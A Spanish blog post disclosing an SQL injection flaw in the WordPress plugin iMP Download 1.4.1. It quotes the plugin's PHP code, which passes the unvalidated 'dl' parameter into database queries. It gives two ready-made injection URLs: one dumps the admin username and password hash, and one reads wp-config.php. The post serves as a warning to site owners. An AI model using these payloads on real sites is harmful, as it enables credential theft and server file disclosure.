Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.
En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/
if (isset($_GET['dl'])) {
global $wpdb, $table_prefix;
// require_once('../../../wp-blog-header.php');
$option = get_option('iMP_Download_Option');
$user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];
if ($option['dl_mo'] == 1 && !$user_login) {
$login = get_settings('siteurl') . '/wp-login.php';
?>
script type="text/javascript">
var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
if (mo == true) {
window.location = "<?php echo $login; ?>";
} else {
window.location = document.referrer;
}
</script
<?php
exit();
}
$dl_id = $_GET['dl'];
$table_name = $table_prefix . 'imp_download';
$wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
$url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
$file = $wpdb->get_var($url);
$file = str_replace(' ','%20',$file);
$filename = basename($file);
$mimetype = 'application/octet-stream'; // Set mime-type
header("Pragma: "); // Leave blank for issues with IE
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: $mimetype");
if ($option['dl_fd'] == 1) {
if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
} else {
header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
}
if (ini_get('allow_url_fopen') == 1) {
$file = fopen($file, "rb");
fpassthru($file);
exit();
} elseif (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $file);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec ($ch);
curl_close ($ch);
exit();
}
} else {
header('Location: '.$file.''); // Force download deactivated
exit();
}
}
Como se puede apreciar en las líneas 34
y 39
, el parámetro dl
no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1
* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870
Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.